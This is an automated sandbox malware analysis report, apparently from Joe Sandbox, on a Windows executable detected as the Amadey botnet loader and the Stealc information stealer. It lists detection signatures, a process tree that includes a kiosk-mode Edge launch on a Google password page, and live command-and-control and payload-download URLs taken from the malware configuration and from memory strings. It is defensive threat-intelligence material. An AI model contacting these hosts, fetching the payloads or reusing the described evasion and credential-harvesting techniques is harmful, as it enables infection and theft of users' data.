Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1502368
MD5:	0f6e649713cb19b7cab1cdc80df57009
SHA1:	b44b989fb4af18e2632eee663b9a0e91058a7f50
SHA256:	8b76de4bd18371fdc11b923c6ad1056c16d5b24ec28f2c291f362754a36962b8
Tags:	exe
Infos:

Detection

Amadey, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Found API chain indicative of debugger detection

Found API chain indicative of sandbox detection

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Potentially malicious time measurement code found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sleep loop found (likely to delay execution)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 3964 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 0F6E649713CB19B7CAB1CDC80DF57009)

explorti.exe (PID: 6024 cmdline: "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe" MD5: 0F6E649713CB19B7CAB1CDC80DF57009)

explorti.exe (PID: 984 cmdline: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe MD5: 0F6E649713CB19B7CAB1CDC80DF57009)

explorti.exe (PID: 5240 cmdline: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe MD5: 0F6E649713CB19B7CAB1CDC80DF57009)

48c5076e95.exe (PID: 7060 cmdline: "C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe" MD5: 4847D6885ADC7EA78FDF9918C384CECB)

a759b4c7d8.exe (PID: 5808 cmdline: "C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe" MD5: 4847D6885ADC7EA78FDF9918C384CECB)

0c179c8402.exe (PID: 3780 cmdline: "C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe" MD5: D6F5BCA2F2CE2407AE4BF9115CFCA6D9)

msedge.exe (PID: 3772 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --no-first-run --disable-features=TranslateUI --disable-popup-blocking --disable-extensions --no-default-browser-check --app=https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.com/signinoptions/password MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5336 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2116,i,16112167788991068290,14803182423369865752,262144 --disable-features=TranslateUI /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6420 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --no-first-run --disable-features=TranslateUI --disable-popup-blocking --disable-extensions --no-default-browser-check --app=https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.com/signinoptions/password --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3208 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2300,i,7838999706846974579,15815768999128644373,262144 --disable-features=TranslateUI /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5308 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7020 --field-trial-handle=2300,i,7838999706846974579,15815768999128644373,262144 --disable-features=TranslateUI /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5504 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=4828 --field-trial-handle=2300,i,7838999706846974579,15815768999128644373,262144 --disable-features=TranslateUI /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2164 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 4748 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2624 --field-trial-handle=2536,i,9573157328777106886,9819326916295841096,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7568 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=1816 --field-trial-handle=2536,i,9573157328777106886,9819326916295841096,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7856 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8080 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=2124,i,10162133090582848946,17402805719632758939,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7328 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=3596 --field-trial-handle=2124,i,10162133090582848946,17402805719632758939,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.100/e2b1563c6670f193.php"}

Threatname: Amadey

{"C2 url": ["http://185.215.113.19/Vi9leo/index.php"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.2755758341.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000003.2656061306.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2047655108.0000000000821000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000003.2034774572.00000000048A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2007416106.0000000005030000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.2072271866.00000000008C1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000002.2834974000.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000002.2075198346.00000000008C1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.2031890477.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: 48c5076e95.exe PID: 7060	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 48c5076e95.exe PID: 7060	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: a759b4c7d8.exe PID: 5808	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: a759b4c7d8.exe PID: 5808	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author
3.2.explorti.exe.8c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.explorti.exe.8c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.explorti.exe.8c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.820000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Suricata Signatures

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.5 - Destination IP: 185.215.113.19

Timestamp:	2024-09-01T01:30:13.566871+0200
SID:	2044696
Severity:	1
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.5 - Destination IP: 185.215.113.19

Timestamp:	2024-09-01T01:30:07.313301+0200
SID:	2044696
Severity:	1
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.5 - Destination IP: 185.215.113.19

Timestamp:	2024-09-01T01:30:09.719727+0200
SID:	2044696
Severity:	1
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T01:30:09.792808+0200
SID:	2044243
Severity:	1
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T01:30:18.119044+0200
SID:	2044243
Severity:	1
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.5 - Destination IP: 185.215.113.16

Timestamp:	2024-09-01T01:30:04.194049+0200
SID:	2803305
Severity:	3
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.5 - Destination IP: 185.215.113.16

Timestamp:	2024-09-01T01:30:10.492991+0200
SID:	2803305
Severity:	3
Source Port:	49718
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Amadey CnC Response M1 - Source IP: 185.215.113.19 - Destination IP: 192.168.2.5

Timestamp:	2024-09-01T01:30:06.565470+0200
SID:	2856122
Severity:	1
Source Port:	80
Destination Port:	49712
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.5 - Destination IP: 185.215.113.19

Timestamp:	2024-09-01T01:30:03.165044+0200
SID:	2856147
Severity:	1
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: 48c5076e95.exe, 00000007.00000002.2755758341.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, a759b4c7d8.exe, 00000008.00000002.2834974000.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100
Source: 48c5076e95.exe, 00000007.00000002.2755758341.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, 48c5076e95.exe, 00000007.00000002.2755758341.000000000174F000.00000004.00000020.00020000.00000000.sdmp, a759b4c7d8.exe, 00000008.00000002.2834974000.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp, a759b4c7d8.exe, 00000008.00000002.2834974000.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/
Source: 48c5076e95.exe, 00000007.00000002.2755758341.000000000174F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/S
Source: a759b4c7d8.exe, 00000008.00000002.2834974000.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/ata
Source: a759b4c7d8.exe, 00000008.00000002.2834974000.0000000000AB3000.00000004.00000020.00020000.00000000.sdmp, a759b4c7d8.exe, 00000008.00000002.2834974000.0000000000A84000.00000004.00000020.00020000.00000000.sdmp, a759b4c7d8.exe, 00000008.00000002.2834974000.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php
Source: 48c5076e95.exe, 00000007.00000002.2755758341.000000000174F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php/
Source: a759b4c7d8.exe, 00000008.00000002.2834974000.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php/E
Source: 48c5076e95.exe, 00000007.00000002.2755758341.000000000176C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php8
Source: 48c5076e95.exe, 00000007.00000002.2755758341.000000000176C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpT
Source: a759b4c7d8.exe, 00000008.00000002.2834974000.0000000000AB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpX
Source: 48c5076e95.exe, 00000007.00000002.2755758341.000000000174F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpa
Source: a759b4c7d8.exe, 00000008.00000002.2834974000.0000000000AB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpl
Source: 48c5076e95.exe, 00000007.00000002.2755758341.000000000176C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpx
Source: a759b4c7d8.exe, 00000008.00000002.2834974000.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100Y
Source: explorti.exe, 00000006.00000002.3244398787.00000000006CD000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000003.2959096070.00000000006CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: explorti.exe, 00000006.00000002.3244398787.00000000006CD000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000003.2959096070.00000000006CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe6522nGfO
Source: explorti.exe, 00000006.00000002.3244398787.00000000006CD000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000003.2959096070.00000000006CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exesG
Source: explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe.
Source: explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/
Source: explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/G
Source: explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php
Source: explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php0
Source: explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php000
Source: explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php053001
Source: explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php=
Source: explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php?
Source: explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpAppData
Source: explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpAppDataBt
Source: explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpD
Source: explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpO
Source: explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpU
Source: explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpata
Source: explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpb
Source: explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpc
Source: explorti.exe, 00000006.00000002.3244398787.00000000006CD000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000003.2959096070.00000000006CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpgM
Source: explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phph
Source: explorti.exe, 00000006.00000002.3244398787.00000000006CD000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000003.2959096070.00000000006CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phphM
Source: explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpi
Source: explorti.exe, 00000006.00000002.3244398787.00000000006CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpm
Source: explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpo
Source: explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpsr
Source: explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phptch
Source: explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/ta
Source: 0c179c8402.exe, 00000009.00000002.3245334098.00000000016F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.c
Source: data_10.14.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection?placement=88000360&nct=1&fmt=json&ADEFAB=1&OPSYS=WIN10&locale=e
Source: data_10.14.dr	String found in binary or memory: https://azureedge.net
Source: Reporting and NEL0.14.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: Web Data.13.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Web Data.13.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Web Data.13.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Web Data.13.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Web Data.13.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: data_10.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: data_10.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: data_10.14.dr	String found in binary or memory: https://msn.com
Source: 0c179c8402.exe, 00000009.00000002.3245157300.00000000015E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/passwordC:
Source: Web Data.13.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Top Sites.13.dr	String found in binary or memory: https://www.office.com/
Source: Top Sites.13.dr	String found in binary or memory: https://www.office.com/Office

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
